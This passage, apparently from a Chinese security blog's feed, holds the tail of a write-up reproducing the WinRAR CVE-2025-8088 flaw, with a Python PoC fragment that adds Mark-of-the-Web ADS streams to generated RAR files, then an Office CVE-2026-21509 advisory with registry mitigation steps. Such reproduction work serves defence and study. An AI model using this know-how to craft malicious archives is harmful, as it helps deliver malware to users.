leaf=&quot;&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;path&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #80bbff;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #82d99f;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #b38cff;font-size: 14px;&quot; mpa-font-style=&quot;mktkegqtjhp&quot;&gt;&lt;span leaf=&quot;&quot;&gt;except&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #81cfe0;font-size: 14px;&quot; mpa-font-style=&quot;mktkegqt7xj&quot;&gt;&lt;span leaf=&quot;&quot;&gt;Exception&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;/span&gt;&lt;span mpa-font-style=&quot;mktkegqt2mg&quot; style=&quot;font-size: 14px;&quot;&gt;&lt;span style=&quot;color: #b38cff;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;as&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp;e:&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span mpa-font-style=&quot;mktkegqtnxv&quot; style=&quot;font-size: 14px;&quot;&gt;&lt;span style=&quot;color: #f29d79;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;print&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;(&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #b38cff;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;f&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #82d99f;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;[-] Failed to attach MOTW:&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #80bbff;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;{&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;e&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #80bbff;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #82d99f;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&amp;quot;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #d1d3db;&quot;&gt;&lt;span leaf=&quot;&quot; mpa-font-style=&quot;mktkegqt1y2r&quot; style=&quot;font-size: 14px;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;应用上述修改后，再次运行 PoC 脚本生成的 RAR 文件将会在文件系统层面拥有一个 Zone.Identifier ADS 流，这有助于模拟真实的攻击场景（即通过网络下载的恶意文件）。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;如果想验证修改后的效果，可以在运行脚本后使用 PowerShell 命令 Get-Item -Path cve-2025-8088-sxy-poc.rar -Stream * 查看是否成功添加了 ADS 流。&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130336176983581618020.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100006699&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130336176983581644448.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100006700&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;section style=&quot;text-align: center;&quot; nodeleaf=&quot;&quot;&gt;&lt;img src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130336176983581638902.png&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-s=&quot;300,640&quot; data-w=&quot;1080&quot; type=&quot;block&quot; data-imgfileid=&quot;100006701&quot; data-aistatus=&quot;1&quot;/&gt;&lt;/section&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;br/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span leaf=&quot;&quot;&gt;&lt;span textstyle=&quot;&quot; style=&quot;font-weight: bold;&quot;&gt;三、总结&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;1、CVE-2025-8088针对是7.13以下版本的winrar，危害性很大，各位网友赶快升级到最新版本7.13；&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;2&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;line-height: 2em;&quot;&gt;、通过上面的“检测与复现”，了解该漏洞的构造、传播过程以及&lt;/span&gt;&lt;span style=&quot;line-height: 2em;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;span leaf=&quot;&quot;&gt;ADS 将恶意二进制文件隐藏起来，使其无法被随意检查和一些传统的安全工具发现，从而延迟了检测。同时，我们分享了两种&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;检测ADS流的方法，并改造poc.py使其更加具备生成的文件&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;Zone.Identifier ADS 流&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;；&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;line-height: 2em;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;3、我们本文为漏洞复现，内容非常详细，网上还未看到相关文章，复现分析是为了更好地防范攻击，&lt;/span&gt;&lt;span leaf=&quot;&quot; data-pm-slice=&quot;1 1 [&amp;quot;para&amp;quot;,{&amp;quot;tagName&amp;quot;:&amp;quot;p&amp;quot;,&amp;quot;attributes&amp;quot;:{&amp;quot;style&amp;quot;:&amp;quot;line-height: 2em;&amp;quot;},&amp;quot;namespaceURI&amp;quot;:&amp;quot;http://www.w3.org/1999/xhtml&amp;quot;}]&quot;&gt;一定不要用于危害活动，否则&lt;/span&gt;&lt;span leaf=&quot;&quot;&gt;跟本人无关。&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;display: none;&quot;&gt;&lt;mp-style-type data-value=&quot;3&quot;&gt;&lt;/mp-style-type&gt;&lt;/p&gt;</description><pubDate>Sat, 31 Jan 2026 13:02:44 +0800</pubDate></item><item><title>紧急！微软Office零日漏洞CVE-2026-21509已被黑客利用，365/2021用户重启即可，2016/2019需手动改注册表</title><link>https://www.7x0.cn/post/21.html</link><description>&lt;section style=&quot;text-align: center;&quot;&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #5D4037; font-size: 16px; letter-spacing: 0.8px; text-align: justify;&quot;&gt;Office用户注意！微软刚紧急通报一个&lt;/span&gt;&lt;span style=&quot;font-size: 16px; letter-spacing: 0.8px; text-align: justify; color: #B33D25; font-weight: 900; margin: 0px 2px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;正被黑客在野利用的零日漏洞&lt;/span&gt;&lt;/span&gt;&lt;span leaf=&quot;&quot; style=&quot;color: #5D4037; font-size: 16px; letter-spacing: 0.8px; text-align: justify;&quot;&gt;——CVE-2026-21509，CVSS评分7.8（重要级），影响Office 2016/2019/2021/LTSC 2024及Microsoft 365 Apps。攻击者只需诱骗你打开恶意Word/Excel文档，就能绕过Office安全机制，窃取文件、植入恶意软件甚至控制你的电脑。&lt;/span&gt;&lt;/section&gt;&lt;section style=&quot;&quot; data-pm-slice=&quot;0 0 []&quot;&gt;&lt;figure data-tool=&quot;WeMD编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;800&quot; style=&quot;max-width: 100%;display: block;margin: 40px auto;width: 95%;border: 8px solid rgb(255, 255, 255);box-shadow: rgba(93, 64, 55, 0.15) 0px 10px 25px;background: none rgb(255, 255, 255);height: auto !important;&quot; data-imgfileid=&quot;309857640&quot; data-aistatus=&quot;1&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130209176983572937829.jpg&quot; referrerpolicy=&quot;no-referrer&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;&lt;p data-tool=&quot;WeMD编辑器&quot; style=&quot;margin: 0;margin-top: 26px;margin-bottom: 26px;line-height: 1.9;letter-spacing: 0.8px;text-align: justify;color: #5D4037;font-size: 16px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;更棘手的是，Office 2016/2019的正式补丁尚未发布，用户需手动改注册表临时防护；而365 Apps与2021/2024 LTSC用户重启Office即可自动生效服务器端修复。&lt;/span&gt;&lt;/p&gt;&lt;ul style=&quot;list-style-type: square;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;font-weight: 500;color: #5D4037;font-size: 16px;&quot;&gt;&lt;strong style=&quot;color: #B33D25;font-weight: 900;margin: 0 2px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;详细信息：https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21509&lt;/span&gt;&lt;/strong&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2 data-tool=&quot;WeMD编辑器&quot; style=&quot;padding: 0px;font-weight: bold;color: #000000;font-size: 22px;margin-top: 50px;margin-bottom: 30px;text-align: left;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: inline-block;font-size: 19px;font-weight: bold;color: #FFFBF0;background-color: #B33D25;padding: 8px 16px;border-radius: 2px;box-shadow: 4px 4px 0px rgba(179, 61, 37, 0.2);line-height: 1.2;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;漏洞核心：绕过OLE防护，黑客可自由执行恶意代码&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;p data-tool=&quot;WeMD编辑器&quot; style=&quot;margin: 0;margin-top: 26px;margin-bottom: 26px;line-height: 1.9;letter-spacing: 0.8px;text-align: justify;color: #5D4037;font-size: 16px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;这个漏洞本质是&lt;/span&gt;&lt;strong style=&quot;color: #B33D25;font-weight: 900;margin: 0 2px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;安全功能绕过漏洞&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;，专门突破Office的OLE（对象链接与嵌入）安全机制。正常情况下，Office会拦截文档中隐藏的危险COM/OLE控件，防止恶意代码执行；但该漏洞让Office“忽略自身安全规则”，信任攻击者构造的恶意输入，直接放行危险控件。&lt;/span&gt;&lt;/p&gt;&lt;figure data-tool=&quot;WeMD编辑器&quot; style=&quot;margin: 0;margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;&lt;img class=&quot;rich_pages wxw-img max-w-full h-auto my-4 rounded-lg shadow-md&quot; data-w=&quot;1080&quot; style=&quot;max-width: 100%;display: block;margin: 40px auto;width: 95%;border: 8px solid rgb(255, 255, 255);box-shadow: rgba(93, 64, 55, 0.15) 0px 10px 25px;background: none rgb(255, 255, 255);height: auto !important;&quot; data-imgfileid=&quot;309857641&quot; data-aistatus=&quot;1&quot; src=&quot;https://www.7x0.cn/zb_users/upload/2026/01/20260131130209176983572996420.png&quot; referrerpolicy=&quot;no-referrer&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;&lt;h3 data-tool=&quot;WeMD编辑器&quot; style=&quot;padding: 0px;font-weight: bold;color: #000000;font-size: 20px;margin-top: 40px;margin-bottom: 20px;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 18px;font-weight: bold;color: #8D5B4C;display: inline-block;padding-left: 10px;border-left: 4px solid #D98C45;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;攻击流程（3步即可中招）&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;&lt;ol style=&quot;list-style-type: decimal;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: #5D4037;font-weight: normal;font-size: 16px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;攻击者制作包含恶意COM/OLE控件的Word/Excel文档；&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: #5D4037;font-weight: normal;font-size: 16px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;通过钓鱼邮件、即时通讯等方式，诱骗用户打开文档（预览模式不会触发，必须双击打开）；&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: #5D4037;font-weight: normal;font-size: 16px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;文档启动后，恶意控件绕过防护执行代码，窃取数据、安装木马或篡改文件。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 data-tool=&quot;WeMD编辑器&quot; style=&quot;padding: 0px;font-weight: bold;color: #000000;font-size: 20px;margin-top: 40px;margin-bottom: 20px;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 18px;font-weight: bold;color: #8D5B4C;display: inline-block;padding-left: 10px;border-left: 4px solid #D98C45;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;影响范围（覆盖主流Office版本）&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;&lt;section style=&quot;overflow-x: auto;&quot;&gt;&lt;table style=&quot;display: table;text-align: left;width: 100%;border-collapse: collapse;margin: 40px 0;font-size: 14px;border: 2px solid #8D5B4C;&quot;&gt;&lt;thead&gt;&lt;tr style=&quot;border: 0;border-top: 1px solid #ccc;background-color: #ffffff;&quot; class=&quot;firstRow&quot;&gt;&lt;th style=&quot;font-size: 16px;background-color: #f0f0f0;background: #EFE6D5;color: #4A3B32;font-weight: bold;border: 1px solid #8D5B4C;padding: 12px 10px;text-align: center;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;版本&lt;/span&gt;&lt;/section&gt;&lt;/th&gt;&lt;th style=&quot;font-size: 16px;background-color: #f0f0f0;background: #EFE6D5;color: #4A3B32;font-weight: bold;border: 1px solid #8D5B4C;padding: 12px 10px;text-align: center;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;修复状态&lt;/span&gt;&lt;/section&gt;&lt;/th&gt;&lt;th style=&quot;font-size: 16px;background-color: #f0f0f0;background: #EFE6D5;color: #4A3B32;font-weight: bold;border: 1px solid #8D5B4C;padding: 12px 10px;text-align: center;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;防护方式&lt;/span&gt;&lt;/section&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr style=&quot;border: 0;border-top: 1px solid #ccc;background-color: #ffffff;&quot;&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;Microsoft 365 Apps&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;已修复（服务器端）&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;重启Office即可&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;&quot;&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;Office LTSC 2021/2024&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;已修复（服务器端）&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;重启Office即可&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;border: 0;border-top: 1px solid #ccc;background-color: #ffffff;&quot;&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;Office 2019&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;未修复，补丁待发布&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;手动改注册表临时防护&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;&quot;&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;Office 2016&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;未修复，补丁待发布&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;手动改注册表临时防护&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/section&gt;&lt;h2 data-tool=&quot;WeMD编辑器&quot; style=&quot;padding: 0px;font-weight: bold;color: #000000;font-size: 22px;margin-top: 50px;margin-bottom: 30px;text-align: left;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: inline-block;font-size: 19px;font-weight: bold;color: #FFFBF0;background-color: #B33D25;padding: 8px 16px;border-radius: 2px;box-shadow: 4px 4px 0px rgba(179, 61, 37, 0.2);line-height: 1.2;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;分级防护：不同版本的紧急修复方案&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h2&gt;&lt;h3 data-tool=&quot;WeMD编辑器&quot; style=&quot;padding: 0px;font-weight: bold;color: #000000;font-size: 20px;margin-top: 40px;margin-bottom: 20px;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 18px;font-weight: bold;color: #8D5B4C;display: inline-block;padding-left: 10px;border-left: 4px solid #D98C45;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;方案1：365 Apps/LTSC 2021/2024用户（最简单）&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;&lt;ol style=&quot;list-style-type: decimal;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: #5D4037;font-weight: normal;font-size: 16px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;关闭所有Office应用（Word/Excel/PowerPoint等）；&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: #5D4037;font-weight: normal;font-size: 16px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;重新启动Office程序，服务器端修复自动生效，无需额外操作。&lt;/span&gt;&lt;/section&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3 data-tool=&quot;WeMD编辑器&quot; style=&quot;padding: 0px;font-weight: bold;color: #000000;font-size: 20px;margin-top: 40px;margin-bottom: 20px;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;font-size: 18px;font-weight: bold;color: #8D5B4C;display: inline-block;padding-left: 10px;border-left: 4px solid #D98C45;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;方案2：2016/2019用户（需手动改注册表，高危操作）&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h3&gt;&lt;p data-tool=&quot;WeMD编辑器&quot; style=&quot;margin: 0;margin-top: 26px;margin-bottom: 26px;line-height: 1.9;letter-spacing: 0.8px;text-align: justify;color: #5D4037;font-size: 16px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;修改注册表前&lt;/span&gt;&lt;strong style=&quot;color: #B33D25;font-weight: 900;margin: 0 2px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;必须备份&lt;/span&gt;&lt;/strong&gt;&lt;span leaf=&quot;&quot;&gt;（建议用系统自带注册表备份工具，详见微软官方指南），避免误操作导致系统故障。&lt;/span&gt;&lt;/p&gt;&lt;h4 data-tool=&quot;WeMD编辑器&quot; style=&quot;padding: 0px;font-weight: bold;color: #000000;font-size: 18px;margin-top: 30px;margin-bottom: 15px;text-align: left;&quot;&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;display: inline-block;font-size: 16px;font-weight: bold;color: #B33D25;border-bottom: 2px solid #F2C94C;padding-bottom: 2px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;详细步骤&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;display: none;&quot;&gt;&lt;/span&gt;&lt;/h4&gt;&lt;ol style=&quot;list-style-type: decimal;&quot; class=&quot; list-paddingleft-2&quot;&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: #5D4037;font-weight: normal;font-size: 16px;&quot;&gt;&lt;p data-tool=&quot;WeMD编辑器&quot; style=&quot;margin: 0;margin-top: 26px;margin-bottom: 26px;line-height: 1.9;letter-spacing: 0.8px;text-align: justify;color: #5D4037;font-size: 16px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;退出所有Office程序，按Win键+R，输入&lt;/span&gt;&lt;code style=&quot;word-wrap: break-word;background-color: rgba(27,31,35,.05);word-break: break-all;color: #5D4037;background: #EFE6D5;border: none;padding: 2px 6px;margin: 0 4px;border-radius: 3px;font-size: 14px;font-family: serif;text-align:left;letter-spacing:0;word-spacing:0;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;regedit&lt;/span&gt;&lt;/code&gt;&lt;span leaf=&quot;&quot;&gt;打开注册表编辑器；&lt;/span&gt;&lt;/p&gt;&lt;/section&gt;&lt;/li&gt;&lt;li&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: #5D4037;font-weight: normal;font-size: 16px;&quot;&gt;&lt;p data-tool=&quot;WeMD编辑器&quot; style=&quot;margin: 0;margin-top: 26px;margin-bottom: 26px;line-height: 1.9;letter-spacing: 0.8px;text-align: justify;color: #5D4037;font-size: 16px;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;定位对应注册表路径（根据Office安装类型选择）：&lt;/span&gt;&lt;/p&gt;&lt;section style=&quot;margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: #5D4037;font-weight: normal;font-size: 16px;overflow-x: auto;&quot;&gt;&lt;table style=&quot;display: table;text-align: left;width: 100%;border-collapse: collapse;margin: 40px 0;font-size: 14px;border: 2px solid #8D5B4C;&quot;&gt;&lt;thead&gt;&lt;tr style=&quot;border: 0;border-top: 1px solid #ccc;background-color: #ffffff;&quot; class=&quot;firstRow&quot;&gt;&lt;th style=&quot;font-size: 16px;background-color: #f0f0f0;background: #EFE6D5;color: #4A3B32;font-weight: bold;border: 1px solid #8D5B4C;padding: 12px 10px;text-align: center;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;安装类型&lt;/span&gt;&lt;/section&gt;&lt;/th&gt;&lt;th style=&quot;font-size: 16px;background-color: #f0f0f0;background: #EFE6D5;color: #4A3B32;font-weight: bold;border: 1px solid #8D5B4C;padding: 12px 10px;text-align: center;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;路径&lt;/span&gt;&lt;/section&gt;&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr style=&quot;border: 0;border-top: 1px solid #ccc;background-color: #ffffff;&quot;&gt;&lt;td style=&quot;font-size: 16px;text-align: left;border: 1px solid #8D5B4C;padding: 12px 10px;color: #5D4037;background: #FFFBF0;min-width: 85px;&quot;&gt;&lt;section&gt;&lt;span leaf=&quot;&quot;&gt;64位MSI/32位Windows上的32位MSI&lt;/span&gt;&lt;/section&gt;&lt;/td&gt;&lt;td style=&quot;font-size: 16px; text-align: left; border: 1px solid rgb(141, 91, 76); padding: 12px 10px; color: rgb(93, 64, 55); background: rgb(255, 251, 240); min-width: 85px; word-break: break-all;&quot;&gt;&lt;code style=&quot;word-wrap: break-word;background-color: rgba(27,31,35,.05);word-break: break-all;color: #5D4037;background: #EFE6D5;border: none;padding: 2px 6px;margin: 0 4px;border-radius: 3px;font-size: 14px;font-family: serif;text-align:left;letter-spacing:0;word-spacing:0;&quot;&gt;&lt;span leaf=&quot;&quot;&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\16.0\Common\COM Compatibility\&lt;/span&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr style=&quot;border: 0;border-top: 1px solid #ccc;background-color: #F8F8F8;&quot;&gt;&lt;td style=&quot;font-size: 16px; text-align: left; border: 1px solid rgb(141, 91, 76); padding: 